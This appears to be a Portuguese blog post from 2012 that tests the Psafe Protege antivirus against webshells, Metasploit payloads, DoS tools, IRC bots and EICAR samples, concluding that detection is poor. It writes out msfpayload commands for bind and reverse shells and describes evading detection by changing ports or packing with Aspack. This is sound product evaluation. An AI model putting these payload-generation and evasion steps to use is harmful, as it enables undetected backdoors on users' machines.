O Psafe Protege mesmo?Bem, inicialmente gostaria de dizer que esta pesquisa em momento algum quis comparar o Psafe com qualquer outro AV. do mercado.Detalhe da pesquisa:Sistema Operacional utilizado: Windows 2003 Server R2AV: Psafe ProtegeSoftware Adicional: IIS6 (Apenas para testes com webshells)Abaixo a tabela com os testes realizados:html {overflow:visible};.tblGenFixed td {padding:0 3px;overflow:hidden;white-space:normal;letter-spacing:0;word-spacing:0;background-color:#fff;z-index:1;border-top:0px none;border-left:0px none;border-bottom:1px solid #CCC;border-right:1px solid #CCC;} .dn {display:none} .tblGenFixed td.s0 {background-color:#ff0000;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-top:1px solid black;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid black;} .tblGenFixed td.s2 {background-color:#999999;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-top:1px solid black;border-right:;border-bottom:1px solid black;} .tblGenFixed td.s1 {background-color:#999999;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-top:1px solid black;border-right:1px solid black;border-bottom:1px solid black;} .tblGenFixed td.s16 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;border-left:1px solid #CCC;} .tblGenFixed td.s17 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;} .tblGenFixed td.s18 {background-color:#ff0000;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid #CCC;} .tblGenFixed td.s19 {background-color:#d9d9d9;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid black;} .tblGenFixed td.s9 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;} .tblGenFixed td.s12 {background-color:#ff0000;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid black;} .tblGenFixed td.s13 {background-color:#999999;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;} .tblGenFixed td.s7 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;} .tblGenFixed td.s14 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;} .tblGenFixed td.s8 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;border-left:1px solid #CCC;} .tblGenFixed td.s15 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:;} .tblGenFixed td.s5 {background-color:#d9d9d9;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid black;} .tblGenFixed td.s6 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;} .tblGenFixed td.s3 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-top:1px solid #CCC;border-right:;border-bottom:;} .tblGenFixed td.s10 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:1px solid black;border-left:1px solid #CCC;} .tblGenFixed td.s11 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:1px solid black;} .tblGenFixed td.s4 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-top:1px solid #CCC;border-right:;border-bottom:;} WebshellsEncodingExtensao alteradaDeteccao na gravacao?Deteccao na execucao?Deteccao Manual Scan?ASPTexto PlanoNaoNaoNaoNaoASPXTexto PlanoNaoNaoNaoNaoJSPTexto PlanoNaoNaoNaoNaoPerlTexto PlanoNaoNaoNaoNaoPHPTexto PlanoNaoNaoNaoNaoCFMTexto PlanoNaoNaoNaoNaoExecutaveis MetaSploitEncodingExtensao alteradaDeteccao na gravacao?Deteccao na execucao?Deteccao Manual Scan?Comando:Sample1 Bind na porta 6666NaoNaoNaoNaoNaomsfpayload windows/shell_bind_tcp LPORT=6666 X > /tmp/msf_sample1.exeSample 2 Reverse Shell porta 6666NaoNaoNaoNaoNaomsfpayload windows/shell_reverse_tcp LHOST=172.16.0.1 LPORT=6666 X > /tmp/msf_sample2.exeSample 3 Arbitrary Command ExecNaoNaoNaoNaoNaomsfpayload windows/exec CMD=calc.exe X > /tmp/msf_sample3.exeFerramentas para DoSEncodingExtensao alteradaDeteccao na gravacao?Deteccao na execucao?Deteccao Manual Scan?SlowLorisTexto PlanoNaoNaoNaoNaoLoicTexto PlanoNaoNaoNaoNaoIRC Bots (Perl)EncodingExtensao alteradaDeteccao na gravacao?Deteccao na execucao?Deteccao Manual Scan?AlphaNix 2.0Texto PlanoNaoNaoNaoNaoScaneTexto PlanoNaoNaoNaoNaoSexiTexto PlanoNaoNaoNaoNaoShellbotTexto PlanoNaoNaoNaoNaoSamples EICAR.orgPackingExtensao alteradaDeteccao na gravacao?Deteccao na execucao?Deteccao Manual Scan?eicar.comNaoNaoNaoNaoSimeicar.com.txtNaoSimNaoN \ ASimeicar_com.zipNaoCompactadoNaoN \ ANaoeicarcom2.zipNaoCompactadoNaoN \ ANaoOs teste foram realizados entre os dias 06 e 07 de agosto, 2012.No dia 06 o sample1 do MetaSploit nao tinha sido encontrado, ja no dia, 07 ele foi encontrado(Trojan.Generic) e removido, porem, somente com manual scan. Os binarios gerados no Metasploit ao serem executados abriram portas, realizaram conexoes com a internet e executaram comandos e mesmo assim nao geraram alertar algum do Psafe. Outro problema grande foi que apos a deteccao do msf_sample1.exe, geramos novamente, porem, alterando a porta para 6667 e nao foi detectado.Testamos varios malwares voltados a roubo de senhas bancarias e afins, o indice de deteccao foi baixo. Dos 35 samples analisados, apenas 7 foram detectados.Dos detectados, utilizamos o que possui assinatura: HEUR/Malware.QVM20.Gen para mais alguns testes:- Nao foi detectado na gravacao.- Foi detectado mesmo trocando a extensao.Ao utilizarmos um compactador de binarios simples (Aspack) o malware parou de ser dectado no Scan manual e foi removido apenas o .bak gerado pelo Aspack.Outro ponto importante, nao ha verificacao de enderecos Web maliciosos, durante a pesquisa visitamos varios sites conhecidos por distribuicao de malwares e nenhum alerta foi gerado.Conclusao:O AV se mostrou ineficaz em seu proposito, apresentando um baixo indice de deteccao de malwares, especialmente os mais populares no Brasil que permitem o acesso a contas bancarias e podem gerar prejuizos diversos para a maioria dos usuarios da Internet no Pais. O fato e agravado pela empresa posicionar o seu produto